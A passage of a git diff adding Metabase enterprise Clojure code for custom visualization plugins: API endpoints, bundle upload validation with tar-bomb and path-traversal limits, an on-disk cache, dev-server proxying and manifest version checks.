+ "Could not fetch metabase-plugin.json from the dev server.")
+ {:status-code 400})))
+ _ (api/check-400
+ (not (t2/exists? :model/CustomVizPlugin :identifier identifier))
+ (format "A custom visualization with identifier \"%s\" already exists." identifier))
+ display-name (or (:name manifest) identifier)
+ icon (:icon manifest)
+ version-str (get-in manifest [:metabase :version])
+ plugin (first (t2/insert-returning-instances! :model/CustomVizPlugin
+ :display_name display-name
+ :identifier identifier
+ :status :active
+ :enabled true
+ :dev_bundle_url dev_bundle_url
+ :icon icon
+ :manifest manifest
+ :metabase_version version-str))]
+ (cache/set-or-clear-dev-bundle! (:id plugin) dev_bundle_url)
+ (events/publish-event! :event/custom-viz-plugin-create {:object plugin
+ :user-id api/*current-user-id*})
+ (plugin->response plugin)))
+
+(api.macros/defendpoint :get "/" :- [:sequential CustomVizPluginResponse]
+ "List all registered custom visualization plugins."
+ []
+ (api/check-superuser)
+ (->> (custom-viz-plugin/select-non-blob {:order-by [[:display_name :asc]]})
+ (mapv (comp plugin->response api/read-check))))
+
+(api.macros/defendpoint :get "/list" :- [:sequential CustomVizPluginRuntimeResponse]
+ "List active and enabled custom visualization plugins. Available to any authenticated user.
+ Plugins with incompatible Metabase version requirements are excluded.
+ Dev-only plugins are excluded when dev mode is disabled."
+ []
+ (let [dev-mode? (custom-viz.settings/custom-viz-plugin-dev-mode-enabled)
+ plugins (custom-viz-plugin/select-non-blob :status :active
+ :enabled true
+ {:order-by [[:display_name :asc]]})]
+ (->> plugins
+ (filter manifest/compatible?)
+ (remove #(and (not dev-mode?) (dev-only-plugin? %)))
+ (mapv (comp plugin->runtime-response api/read-check)))))
+
+(api.macros/defendpoint :delete "/:id" :- :nil
+ "Remove a custom visualization plugin and evict its on-disk cache."
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]]
+ (let [plugin (api/write-check (custom-viz-plugin/select-one-non-blob :id id))]
+ (t2/delete! :model/CustomVizPlugin :id id)
+ (cache/purge-plugin-cache! plugin)
+ (events/publish-event! :event/custom-viz-plugin-delete {:object plugin
+ :user-id api/*current-user-id*})
+ nil))
+
+(api.macros/defendpoint :put "/:id" :- CustomVizPluginResponse
+ "Update a custom visualization plugin. Currently only `enabled` may be toggled."
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]
+ _query-params
+ body :- [:map
+ [:enabled {:optional true} [:maybe :boolean]]]]
+ (let [existing (api/write-check (custom-viz-plugin/select-one-non-blob :id id))
+ updates (select-keys body [:enabled])]
+ (when (seq updates)
+ (t2/update! :model/CustomVizPlugin id updates))
+ (let [result (custom-viz-plugin/select-one-non-blob :id id)]
+ (events/publish-event! :event/custom-viz-plugin-update {:object result
+ :previous-object existing
+ :user-id api/*current-user-id*})
+ (plugin->response result))))
+
+(api.macros/defendpoint :put "/:id/bundle" :- CustomVizPluginResponse
+ "Replace the bundle for an existing plugin. Accepts a multipart tar.gz upload in
+ the same format as the `POST /` endpoint. The manifest's `name` field must
+ match the plugin's existing `identifier`."
+ {:multipart {:max-file-size cache/max-bundle-bytes
+ :max-file-count 1}}
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]
+ _query-params
+ _body
+ {{file "file"} :multipart-params, :as _request}
+ :- [:map
+ [:multipart-params
+ [:map
+ ["file" [:map
+ [:filename :string]
+ [:tempfile (ms/InstanceOfClass File)]]]]]]]
+ (let [existing (api/write-check (custom-viz-plugin/select-one-non-blob :id id))
+ tempfile (check-upload! file)]
+ (try
+ (let [bundle-bytes (Files/readAllBytes (.toPath tempfile))
+ validated (cache/validate-bundle! bundle-bytes)
+ new-name (get-in validated [:manifest :name])]
+ (api/check-400 (= new-name (:identifier existing))
+ (format "Bundle manifest \"name\" (%s) does not match the plugin's identifier (%s)."
+ new-name (:identifier existing)))
+ (let [result (cache/save-bundle! existing validated)]
+ (events/publish-event! :event/custom-viz-plugin-update
+ {:object result
+ :previous-object existing
+ :user-id api/*current-user-id*})
+ (plugin->response (dissoc result :bundle))))
+ (finally
+ (try (.delete tempfile) (catch Exception _))))))
+
+(api.macros/defendpoint :get "/:id/bundle" :- :any
+ "Serve the JS bundle for a plugin from the on-disk cache.
+ Returns application/javascript with ETag and Cache-Control headers.
+ In dev mode, proxies from `dev_bundle_url` if set."
+ [{:keys [id], :as _route-params} :- [:map [:id ms/PositiveInt]]
+ _query-params
+ _body
+ _request
+ respond
+ raise]
+ (try
+ (let [plugin (api/read-check (custom-viz-plugin/select-one-non-blob :id id))
+ dev-url (cache/resolve-dev-bundle id)
+ entry (cache/resolve-bundle plugin)]
+ (if entry
+ (respond {:status 200
+ :headers (cond-> {"Content-Type" "application/javascript"
+ "X-Content-Type-Options" "nosniff"
+ "Cross-Origin-Resource-Policy" "same-origin"
+ "Referrer-Policy" "no-referrer"
+ "ETag" (:hash entry)}
+ dev-url (assoc "Cache-Control" "no-store")
+ (not dev-url) (assoc "Cache-Control" "public, max-age=31536000, immutable"))
+ :body (:content entry)})
+ (respond {:status 503
+ :headers {"Content-Type" "application/json"}
+ :body "{\"error\": \"Bundle not available\"}"})))
+ (catch Throwable e
+ (raise e))))
+
+(api.macros/defendpoint :get "/:id/asset" :- :any
+ "Serve a static image asset from the plugin's bundle.
+ The asset path is passed as a `path` query parameter (e.g. `?path=icon.svg`)
+ and must match an entry in the manifest's `assets` whitelist.
+ Only image files are served.
+ In dev mode, proxies from the dev base URL if set."
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]
+ {:keys [path]} :- [:map [:path ms/NonBlankString]]
+ _body
+ _request
+ respond
+ raise]
+ (try
+ (let [plugin (api/read-check (custom-viz-plugin/select-one-non-blob :id id))
+ content-type (or (manifest/asset-content-type path)
+ (throw (ex-info "Unsupported asset type" {:status-code 404})))
+ dev? (cache/resolve-dev-bundle id)
+ bytes (cache/resolve-asset plugin path)]
+ (if bytes
+ (respond {:status 200
+ :headers (cond-> {"Content-Type" content-type
+ "X-Content-Type-Options" "nosniff"
+ "Cross-Origin-Resource-Policy" "same-origin"
+ "Referrer-Policy" "no-referrer"}
+ dev? (assoc "Cache-Control" "no-store")
+ (not dev?) (assoc "Cache-Control" "public, max-age=31536000, immutable"))
+ :body (java.io.ByteArrayInputStream. bytes)})
+ (respond {:status 404
+ :headers {"Content-Type" "application/json"}
+ :body "{\"error\": \"Asset not found\"}"})))
+ (catch Throwable e
+ (raise e))))
+
+(api.macros/defendpoint :put "/:id/dev-url" :- [:map [:dev_bundle_url [:maybe :string]]]
+ "Set or clear the dev base URL for a plugin (e.g. `http://localhost:5174`).
+ The bundle is fetched from `{base}/index.js` and assets from `{base}/assets/{name}`.
+ Persisted to the database so it survives server restarts.
+ Requires custom viz plugin dev mode to be enabled."
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]
+ _query-params
+ {:keys [dev_bundle_url]} :- [:map [:dev_bundle_url [:maybe :string]]]]
+ (api/write-check (custom-viz-plugin/select-one-non-blob :id id))
+ (check-dev-mode-enabled!)
+ (cache/set-or-clear-dev-bundle! id dev_bundle_url)
+ {:dev_bundle_url (cache/resolve-dev-bundle id)})
+
+(api.macros/defendpoint :get "/:id/dev-sse" :- :any
+ "Proxy Server-Sent Events from the plugin's dev server.
+ Connects to `{dev_bundle_url}/__sse` and forwards events to the browser.
+ This avoids the need for a CSP exception for the dev server origin.
+ Requires custom viz plugin dev mode to be enabled."
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]]
+ (check-dev-mode-enabled!)
+ (let [dev-url (cache/resolve-dev-bundle id)]
+ (when-not dev-url
+ (throw (ex-info "No dev server URL configured" {:status-code 404})))
+ (let [sse-url (str (cache/dev-base-url dev-url) "__sse")]
+ (sr/streaming-response {:content-type "text/event-stream"
+ :status 200
+ :headers {"Cache-Control" "no-cache"
+ "Connection" "keep-alive"
+ "X-Accel-Buffering" "no"}}
+ [^OutputStream os canceled-chan]
+ (try
+ (let [resp (http/get sse-url {:as :stream
+ :socket-timeout 0
+ :connection-timeout 5000
+ :headers {"Accept" "text/event-stream"}})]
+ (with-open [^InputStream is (:body resp)
+ rdr (BufferedReader. (InputStreamReader. is "UTF-8"))]
+ (loop []
+ (when-not (a/poll! canceled-chan)
+ (when-let [line (.readLine rdr)]
+ (.write os (.getBytes (str line "\n") "UTF-8"))
+ (.flush os)
+ (recur))))))
+ (catch Exception e
+ (log/debugf "SSE proxy for plugin %d ended: %s" id (ex-message e))))))))
+
+(api.macros/defendpoint :post "/:id/refresh" :- CustomVizPluginResponse
+ "Re-fetch the manifest from the dev server for a dev-only plugin. For uploaded
+ plugins this is a no-op — to update an upload-backed plugin, PUT a new bundle
+ to `/:id/bundle`."
+ [{:keys [id]} :- [:map [:id ms/PositiveInt]]]
+ (let [plugin (api/write-check (custom-viz-plugin/select-one-non-blob :id id))]
+ (api/check-400 (dev-only-plugin? plugin)
+ "Refresh is only supported for dev-only plugins; upload a new bundle to update an upload-backed plugin.")
+ (let [dev-url (or (cache/resolve-dev-bundle id)
+ (throw (ex-info "No dev server URL configured" {:status-code 404})))
+ manifest (or (cache/fetch-dev-manifest dev-url)
+ (throw (ex-info "Failed to fetch manifest from dev server" {:status-code 502})))
+ version-str (get-in manifest [:metabase :version])]
+ (t2/update! :model/CustomVizPlugin id
+ {:display_name (or (:name manifest) (:identifier plugin))
+ :icon (:icon manifest)
+ :manifest manifest
+ :metabase_version version-str})
+ (let [result (custom-viz-plugin/select-one-non-blob :id id)]
+ (events/publish-event! :event/custom-viz-plugin-update {:object result
+ :previous-object plugin
+ :user-id api/*current-user-id*})
+ (plugin->response result)))))
+
+(def routes
+ "`/api/ee/custom-viz-plugin` routes."
+ (api.macros/ns-handler *ns* +auth))
diff --git a/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/cache.clj b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/cache.clj
new file mode 100644
index 00000000000..faecc42dd54
--- /dev/null
+++ b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/cache.clj
@@ -0,0 +1,382 @@
+(ns metabase-enterprise.custom-viz-plugin.cache
+ "Storage layer for custom visualization plugin bundles.
+
+ Plugins are uploaded as tar+gzip archives. The raw archive bytes (and their
+ SHA-256 hash) are stored in `custom_viz_plugin.bundle` / `bundle_hash`. On the
+ first read of a bundle file or static asset, the archive is lazily extracted to
+ a per-instance scratch directory under the OS temp dir and files are then
+ served straight from the local filesystem. When a plugin's bundle is replaced
+ or the plugin is deleted, the on-disk directory is evicted.
+
+ Dev-only plugins (no uploaded bundle) live entirely off `dev_bundle_url` and
+ bypass this storage; only the dev http fetch helpers below are used for them."
+ (:require
+ [buddy.core.codecs :as codecs]
+ [buddy.core.hash :as buddy-hash]
+ [clj-http.client :as http]
+ [clojure.string :as str]
+ [metabase-enterprise.custom-viz-plugin.manifest :as manifest]
+ [metabase-enterprise.custom-viz-plugin.models.custom-viz-plugin :as custom-viz-plugin]
+ [metabase-enterprise.custom-viz-plugin.settings :as custom-viz.settings]
+ [metabase.config.core :as config]
+ [metabase.util :as u]
+ [metabase.util.compress :as u.compress]
+ [metabase.util.files :as u.files]
+ [metabase.util.log :as log]
+ [toucan2.core :as t2])
+ (:import
+ (java.nio.file CopyOption FileAlreadyExistsException Files FileVisitOption Path)
+ (java.nio.file.attribute FileAttribute)))
+
+(set! *warn-on-reflection* true)
+
+;;; ------------------------------------------------ Hash ------------------------------------------------
+
+(defn- bytes-hash [^bytes b]
+ (-> b buddy-hash/sha256 codecs/bytes->hex))
+
+(defn- string-hash [^String s]
+ (bytes-hash (.getBytes s "UTF-8")))
+
+;;; ------------------------------------------------ Layout ------------------------------------------------
+
+;; The uploaded archive has the same layout as the previous git-sourced plugins:
+;; metabase-plugin.json (manifest, at the archive root)
+;; dist/index.js (the JS bundle)
+;; dist/assets/* (static assets)
+
+(def ^:private ^:const bundle-rel-path "index.js")
+
+(defn- asset-rel-path ^String [^String asset-name] (str "assets/" asset-name))
+
+(defn- dist-path
+ "Prefix a relative path with `dist/` to match the bundle layout."
+ ^String [^String rel-path]
+ (str "dist/" rel-path))
+
+;;; ------------------------------------------------ Size Limits ------------------------------------------------
+
+(def ^:const max-bundle-mib
+ "Maximum size of an uploaded plugin bundle, in MiB."
+ 5)
+
+(def ^:const max-bundle-bytes
+ "Maximum size of an uploaded plugin bundle, in bytes. See [[max-bundle-mib]]."
+ (* max-bundle-mib 1024 1024))
+
+(def ^:const ^:private max-uncompressed-bytes
+ "Cap on total uncompressed bytes from a bundle archive. Set to 5x the
+ compressed cap, which comfortably fits a real JS bundle + image assets but
+ refuses tar bombs (which need 1000x+ ratios to be interesting)."
+ (* 5 max-bundle-bytes))
+
+(def ^:const ^:private max-entries
+ "Cap on entry count in a bundle archive. A real plugin has a manifest, the JS
+ bundle, and a handful of image assets; 256 leaves plenty of slack without
+ inviting denial-of-service via metadata-only entries."
+ 256)
+
+(def ^:private untgz-opts
+ {:max-uncompressed-bytes max-uncompressed-bytes
+ :max-entries max-entries})
+
+;;; ------------------------------------------------ Validate Bundle ------------------------------------------------
+
+(defn- delete-recursive! [^Path path]
+ (when (u.files/exists? path)
+ (with-open [stream (Files/walk path (into-array FileVisitOption []))]
+ (doseq [^Path p (rseq (vec (iterator-seq (.iterator stream))))]
+ (try (Files/delete p)
+ (catch Exception e
+ (log/warnf "Failed to delete %s: %s" p (ex-message e))))))))
+
+(defn validate-bundle!
+ "Extract an uploaded tar+gzip `bundle-bytes` into a scratch directory and
+ validate its contents against the expected layout. Returns
+ `{:bytes bundle-bytes :hash sha :manifest m :version-str v}` on success.
+ Throws ex-info with `:status-code 400` for any user-facing failure."
+ [^bytes bundle-bytes]
+ (when (or (nil? bundle-bytes) (zero? (alength bundle-bytes)))
+ (throw (ex-info "Bundle is empty" {:status-code 400})))
+ (let [scratch (Files/createTempDirectory "custom-viz-validate-"
+ (into-array FileAttribute []))]
+ (try
+ (try
+ (u.compress/untgz bundle-bytes (.toFile scratch) untgz-opts)
+ (catch Exception e
+ (if (:status-code (ex-data e))
+ ;; tar-bomb / oversize / entry-count failures carry their own clear message — re-raise.
+ (throw e)
+ (throw (ex-info (str "Bundle is not a valid tar.gz archive: " (ex-message e))
+ {:status-code 400}
+ e)))))
+ (let [manifest-file (.resolve scratch ^String (manifest/manifest-path))
+ bundle-file (.resolve scratch ^String (dist-path bundle-rel-path))
+ _ (when-not (u.files/regular-file? manifest-file)
+ (throw (ex-info (str (manifest/manifest-path) " not found in bundle")
+ {:status-code 400})))
+ parsed (or (manifest/parse-manifest (String. (Files/readAllBytes manifest-file) "UTF-8"))
+ (throw (ex-info (str (manifest/manifest-path) " is not valid JSON")
+ {:status-code 400})))
+ _ (when-not (u.files/regular-file? bundle-file)
+ (throw (ex-info (str (dist-path bundle-rel-path) " not found in bundle")
+ {:status-code 400})))
+ version-str (get-in parsed [:metabase :version])]
+ (when (str/blank? (:name parsed))
+ (throw (ex-info (str (manifest/manifest-path) " is missing a \"name\" field")
+ {:status-code 400})))
+ (when (and version-str
+ (not (manifest/compatible? {:metabase_version version-str})))
+ (throw (ex-info
+ (format "Plugin requires Metabase version %s but current version is %s"
+ version-str (:tag config/mb-version-info))
+ {:status-code 400 :metabase_version version-str})))
+ {:bytes bundle-bytes
+ :hash (bytes-hash bundle-bytes)
+ :manifest parsed
+ :version-str version-str})
+ (finally
+ (delete-recursive! scratch)))))
+
+;;; ------------------------------------------------ FS Cache ------------------------------------------------
+
+(defn- custom-viz-cache-root
+ "The on-disk cache root for extracted plugin bundles. Placed under the OS
+ temp dir so it's per-instance and naturally reclaimed when the host is
+ rebooted; [[ensure-unpacked!]] will lazily re-extract from the DB on the
+ next serve after a wipe."
+ ^Path []
+ (doto (u.files/get-path (System/getProperty "java.io.tmpdir") "metabase-custom-viz")
+ u.files/create-dir-if-not-exists!))
+
+(defn- plugin-cache-dir ^Path [id ^String bundle-hash]
+ (u.files/append-to-path (custom-viz-cache-root) (str id "-" bundle-hash)))
+
+(defn- safe-resolve
+ "Resolve `rel-path` under `base`, refusing to escape it. Used on the serve
+ side to guard against caller-supplied asset paths that attempt traversal —
+ the archive extraction itself is already zip-slip-safe via
+ [[u.compress/untgz]]."
+ ^Path [^Path base ^String rel-path]
+ (let [resolved (.normalize (.resolve base rel-path))]
+ (when (.startsWith resolved base)
+ resolved)))
+
+(defn- evict-other-cache-dirs!
+ "Delete cache dirs for `id` that don't match `keep-hash`."
+ [id ^String keep-hash]
+ (let [keep (str id "-" keep-hash)
+ prefix (str id "-")]
+ (doseq [^Path child (u.files/files-seq (custom-viz-cache-root))
+ :let [name (str (.getFileName child))]
+ :when (and (str/starts-with? name prefix) (not= name keep))]
+ (delete-recursive! child))))
+
+(defn- unpack-bundle!
+ "Extract `bundle-bytes` into `dir`, creating it. Atomic-ish: unpacks into a
+ sibling temp directory and renames into place so other threads never observe
+ a half-written cache dir. Zip-slip is handled by `u.compress/untgz`, which
+ resolves each entry under the temp dir via `TarArchiveEntry.resolveIn`."
+ [^Path dir ^bytes bundle-bytes]
+ (let [parent (.getParent dir)
+ _ (u.files/create-dir-if-not-exists! parent)
+ tmp (Files/createTempDirectory parent (str (.getFileName dir) ".tmp.")
+ (into-array FileAttribute []))]
+ (try
+ (u.compress/untgz bundle-bytes (.toFile tmp) untgz-opts)
+ (Files/move tmp dir (into-array CopyOption []))
+ (catch FileAlreadyExistsException _
+ ;; Another thread won the race; keep their copy and discard ours.
+ (delete-recursive! tmp))
+ (catch Throwable t
+ (delete-recursive! tmp)
+ (throw t)))))
+
+(defn- ensure-unpacked!
+ "Guarantee that the cache dir for `plugin` is on disk. If `bundle` is null in the
+ row (dev-only plugin) this returns nil. Returns the directory `Path` on success.
+
+ Recomputes the SHA-256 of the stored bytes against `bundle_hash` before unpacking
+ so a mismatch (DB corruption or tampering with one column but not the other) is
+ refused rather than served."
+ ^Path [{:keys [id bundle_hash]}]
+ (when bundle_hash
+ (let [dir (plugin-cache-dir id bundle_hash)]
+ (when-not (u.files/exists? dir)
+ (when-let [bundle-bytes (t2/select-one-fn :bundle :model/CustomVizPlugin :id id)]
+ (let [actual-hash (bytes-hash bundle-bytes)]
+ (when-not (= actual-hash bundle_hash)
+ (throw (ex-info "Bundle integrity check failed: stored bytes do not match bundle_hash"
+ {:plugin-id id :expected bundle_hash :actual actual-hash}))))
+ (unpack-bundle! dir bundle-bytes)
+ (evict-other-cache-dirs! id bundle_hash)))
+ dir)))
+
+(defn purge-plugin-cache!
+ "Remove on-disk cache dirs for `plugin` (typically because it's being deleted or
+ updated). Safe to call even if no dir exists."
+ [{:keys [id]}]
+ (let [prefix (str id "-")]
+ (doseq [^Path child (u.files/files-seq (custom-viz-cache-root))
+ :when (str/starts-with? (str (.getFileName child)) prefix)]
+ (delete-recursive! child))))
+
+;;; ------------------------------------------------ Save Bundle ------------------------------------------------
+
+(defn- derived-columns
+ "DB columns derived from a validated bundle."
+ [{:keys [bytes hash manifest version-str]}]
+ {:status :active
+ :error_message nil
+ :bundle bytes
+ :bundle_hash hash
+ :manifest manifest
+ :display_name (or (:name manifest) (:identifier manifest))
+ :icon (:icon manifest)
+ :metabase_version version-str})
+
+(defn save-bundle!
+ "Persist a validated bundle for an existing plugin row, evict stale on-disk
+ caches, and return the refreshed row."
+ [{:keys [id]} validated]
+ (t2/update! :model/CustomVizPlugin id (derived-columns validated))
+ (purge-plugin-cache! {:id id})
+ (custom-viz-plugin/select-one-non-blob :id id))
+
+(defn insert-bundle!
+ "Insert a new plugin row from a validated bundle and an `:identifier`. Returns
+ the inserted row."
+ [identifier validated]
+ (t2/insert-returning-instance!
+ :model/CustomVizPlugin
+ (merge {:identifier identifier
+ :enabled true}
+ (derived-columns validated))))
+
+;;; ------------------------------------------------ Read From Cache ------------------------------------------------
+
+(defn- read-cached-bytes
+ "Read the bytes of `dist-rel-path` from the on-disk cache for `plugin`. Returns
+ nil if the plugin has no bundle or the file is missing."
+ ^bytes [plugin ^String dist-rel-path]
+ (when-let [dir (try (ensure-unpacked! plugin)
+ (catch Exception e
+ (log/warnf "Failed to unpack plugin %d bundle: %s"
+ (:id plugin) (ex-message e))
+ nil))]
+ (when-let [^Path file (safe-resolve dir dist-rel-path)]
+ (when (u.files/regular-file? file)
+ (Files/readAllBytes file)))))
+
+(defn get-bundle
+ "Get the JS bundle for an upload-backed plugin. Returns
+ `{:content str :hash str}` or nil."
+ [plugin]
+ (when-let [bytes (read-cached-bytes plugin (dist-path bundle-rel-path))]
+ {:content (String. bytes "UTF-8")
+ :hash (or (:bundle_hash plugin) (bytes-hash bytes))}))
+
+(defn- asset-whitelisted?
+ "Check whether an asset path is explicitly listed in the plugin's manifest."
+ [{:keys [manifest]} ^String asset-path]
+ (when manifest
+ (let [allowed (set (manifest/asset-paths manifest))]
+ (contains? allowed asset-path))))
+
+(defn get-asset
+ "Get a static asset for an upload-backed plugin. Returns a byte array or nil."
+ ^bytes [plugin ^String asset-name]
+ (read-cached-bytes plugin (dist-path (asset-rel-path asset-name))))
+
+;;; ------------------------------------------------ Dev Bundle ------------------------------------------------
+
+(defn- allowed-schemes
+ "Set of URL schemes allowed for dev bundle URLs."
+ []
+ #{"http" "https"})
+
+(defn- validate-url!
+ "Validate that a URL uses an allowed scheme. Throws on invalid input."
+ [^String url ^String label]
+ (let [scheme (some-> (java.net.URI. url) .getScheme u/lower-case-en)]
+ (when-not (contains? (allowed-schemes) scheme)
+ (throw (ex-info (str label " must use http or https, got: " scheme)
+ {:status-code 400 :url url})))))
+
+(defn dev-base-url
+ "Validate and normalize the dev base URL. Ensures http/https scheme and trailing slash."
+ ^String [^String url]
+ (validate-url! url "Dev bundle URL")
+ (if (str/ends-with? url "/") url (str url "/")))
+
+(defn- dev-url
+ "Build a full dev URL by joining the base URL with a relative path."
+ ^String [^String base-url ^String relative-path]
+ (str (dev-base-url base-url) relative-path))
+
+(def ^:private http-opts
+ {:socket-timeout 5000 :connection-timeout 5000})
+
+(defn fetch-dev-bundle
+ "Fetch a JS bundle from a dev base URL.
+ Returns {:content str :hash str} or nil."
+ [^String base-url]
+ (let [content (:body (http/get (dev-url base-url bundle-rel-path)
+ (assoc http-opts :as :string)))]
+ {:content content
+ :hash (string-hash content)}))
+
+(defn fetch-dev-manifest
+ "Fetch and parse the manifest from a dev base URL.
+ Returns the parsed manifest map or nil on failure."
+ [^String base-url]
+ (try
+ (let [content (:body (http/get (dev-url base-url (manifest/manifest-path))
+ (assoc http-opts :as :string)))]
+ (manifest/parse-manifest content))
+ (catch Exception e
+ (log/debugf "No manifest at %s: %s" base-url (ex-message e))
+ nil)))
+
+(defn fetch-dev-asset
+ "Fetch a static asset from a dev base URL.
+ Returns the bytes or nil on failure."
+ ^bytes [^String base-url ^String asset-name]
+ (:body (http/get (dev-url base-url (asset-rel-path asset-name))
+ (assoc http-opts :as :byte-array))))
+
+(defn set-or-clear-dev-bundle!
+ "Set or clear the dev base URL for a plugin. Persists to the database."
+ [id dev-bundle-url]
+ (let [url (not-empty dev-bundle-url)]
+ (some-> url (validate-url! "Dev bundle URL"))
+ (t2/update! :model/CustomVizPlugin id {:dev_bundle_url url})))
+
+(defn resolve-dev-bundle
+ "Resolve the dev bundle URL for a plugin from the database. Returns the URL string or nil.
+ Always returns nil when dev mode is disabled."
+ [id]
+ (when (custom-viz.settings/custom-viz-plugin-dev-mode-enabled)
+ (not-empty (t2/select-one-fn :dev_bundle_url :model/CustomVizPlugin :id id))))
+
+;;; ------------------------------------------------ Resolve ------------------------------------------------
+
+(defn resolve-bundle
+ "Resolve the JS bundle for a plugin, respecting dev bundle URL if set.
+ Returns {:content str :hash str} or nil."
+ [plugin]
+ (let [id (:id plugin)
+ dev-url (resolve-dev-bundle id)]
+ (if dev-url
+ (fetch-dev-bundle dev-url)
+ (get-bundle plugin))))
+
+(defn resolve-asset
+ "Resolve a static asset for a plugin, respecting dev base URL if set.
+ Only serves assets whitelisted by the plugin's manifest.
+ Returns a byte array or nil."
+ ^bytes [plugin ^String asset-name]
+ (when (asset-whitelisted? plugin asset-name)
+ (if-let [dev-url (resolve-dev-bundle (:id plugin))]
+ (fetch-dev-asset dev-url asset-name)
+ (get-asset plugin asset-name))))
diff --git a/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/init.clj b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/init.clj
new file mode 100644
index 00000000000..ff119121ba7
--- /dev/null
+++ b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/init.clj
@@ -0,0 +1,4 @@
+(ns metabase-enterprise.custom-viz-plugin.init
+ (:require
+ [metabase-enterprise.custom-viz-plugin.api]
+ [metabase-enterprise.custom-viz-plugin.settings]))
diff --git a/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/manifest.clj b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/manifest.clj
new file mode 100644
index 00000000000..0d76557135d
--- /dev/null
+++ b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/manifest.clj
@@ -0,0 +1,101 @@
+(ns metabase-enterprise.custom-viz-plugin.manifest
+ "Parsing and validation for custom visualization plugin manifest files (metabase-plugin.json)."
+ (:require
+ [clojure.string :as str]
+ [metabase.config.core :as config]
+ [metabase.util :as u]
+ [metabase.util.json :as json]
+ [metabase.util.log :as log])
+ (:import
+ (org.semver4j Semver)))
+
+(set! *warn-on-reflection* true)
+
+(def ^:private ^:const manifest-filename "metabase-plugin.json")
+
+(defn manifest-path
+ "Returns the manifest filename. Exposed for use in cache/git layers."
+ []
+ manifest-filename)
+
+(defn parse-manifest
+ "Parse a manifest JSON string. Returns the parsed map or nil if parsing fails."
+ [^String json-str]
+ (try
+ (json/decode+kw json-str)
+ (catch Exception e
+ (log/warnf "Failed to parse %s: %s" manifest-filename (ex-message e))
+ nil)))
+
+;;; ------------------------------------------------ Version ------------------------------------------------
+
+(defn compatible?
+ "Check whether a plugin with the given metabase_version range string is compatible with the
+ current Metabase version. Uses npm/node-semver range syntax against the full edition-prefixed
+ version (e.g. \">=1.60.0\", \"^1.60\", \">=1.59 <1.61\"). Returns true if no range is specified,
+ or if the current version satisfies the range. In dev mode (no version info), always returns true."
+ [{:keys [metabase_version]}]
+ (let [current-version (:tag config/mb-version-info)]
+ (if (or config/is-dev? (nil? current-version) (str/blank? metabase_version))
+ true
+ (try
+ (if-let [current (Semver/coerce current-version)]
+ (.satisfies (.withClearedPreReleaseAndBuild current) ^String metabase_version)
+ ;; Unknown/uncoercible current version (e.g. `vLOCAL_DEV` in CI) — be permissive.
+ true)
+ (catch Exception e
+ (log/warnf "Invalid version range in manifest: %s — %s" metabase_version (ex-message e))
+ false)))))
+
+;;; ------------------------------------------------ Assets ------------------------------------------------
+
+(def ^:private image-extensions
+ "File extensions considered to be images for static asset serving."
+ #{".svg" ".png" ".jpg" ".jpeg" ".gif" ".webp" ".ico" ".avif"})
+
+(defn- image-file?
+ "Returns true if the file path has a recognized image extension."
+ [^String path]
+ (let [lower (u/lower-case-en path)]
+ (some #(str/ends-with? lower %) image-extensions)))
+
+(def ^:private allowed-asset-extensions
+ "File extensions allowed for static asset serving (images + JSON)."
+ (into image-extensions #{".json"}))
+
+(defn- allowed-asset-file?
+ "Returns true if the file path has a recognized allowed extension."
+ [^String path]
+ (let [lower (u/lower-case-en path)]
+ (some #(str/ends-with? lower %) allowed-asset-extensions)))
+
+(defn safe-relative-path?
+ "Returns true if path normalizes to a relative path with no directory traversal."
+ [^String path]
+ (let [normalized (.normalize (java.nio.file.Path/of path (into-array String [])))]
+ (and (not (.isAbsolute normalized))
+ (not (.startsWith normalized "..")))))
+
+(defn asset-paths
+ "List the static asset paths whitelisted by the manifest.
+ Includes paths from the `assets` array (filtered to allowed extensions and
+ safe relative paths) and the `icon` (if it's an image filename).
+ Only explicitly listed paths are supported — no glob patterns."
+ [manifest]
+ (let [declared (filter (every-pred allowed-asset-file? safe-relative-path?) (get manifest :assets []))
+ icon-name (when-let [icon (:icon manifest)]
+ (when (and (image-file? icon) (safe-relative-path? icon)) icon))]
+ (distinct (concat declared (when icon-name [icon-name])))))
+
+(defn asset-content-type
+ "Return the MIME content type for an allowed asset file, or nil if not recognized.
+ Allows image files and JSON files (for locale translations)."
+ [^String path]
+ (cond
+ (str/ends-with? path ".json")
+ "application/json"
+
+ :else
+ (let [ct (java.net.URLConnection/guessContentTypeFromName path)]
+ (when (and ct (str/starts-with? ct "image/"))
+ ct))))
diff --git a/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/models/custom_viz_plugin.clj b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/models/custom_viz_plugin.clj
new file mode 100644
index 00000000000..dd9d7387318
--- /dev/null
+++ b/enterprise/backend/src/metabase_enterprise/custom_viz_plugin/models/custom_viz_plugin.clj
@@ -0,0 +1,105 @@
+(ns metabase-enterprise.custom-viz-plugin.models.custom-viz-plugin
+ (:require
+ [buddy.core.codecs :as codecs]
+ [metabase.api.common :as api]
+ [metabase.models.interface :as mi]
+ [metabase.models.serialization :as serdes]
+ [methodical.core :as methodical]
+ [toucan2.core :as t2])
+ (:import
+ (java.sql Blob)))
+
+(set! *warn-on-reflection* true)
+
+(methodical/defmethod t2/table-name :model/CustomVizPlugin [_model] :custom_viz_plugin)
+
+(defn- blob->bytes ^bytes [v]
+ (cond
+ (nil? v) nil
+ (instance? Blob v) (let [^Blob b v] (.getBytes b 1 (int (.length b))))
+ :else v))
+
+(def ^:private transform-bundle
+ "Coerce JDBC `Blob` values into plain byte arrays on read."
+ {:in identity
+ :out blob->bytes})
+
+(t2/deftransforms :model/CustomVizPlugin
+ {:status mi/transform-keyword
+ :manifest mi/transform-json
+ :bundle transform-bundle})
+
+(doto :model/CustomVizPlugin
+ (derive :metabase/model)
+ (derive :hook/timestamped?))
+
+(def non-blob-columns
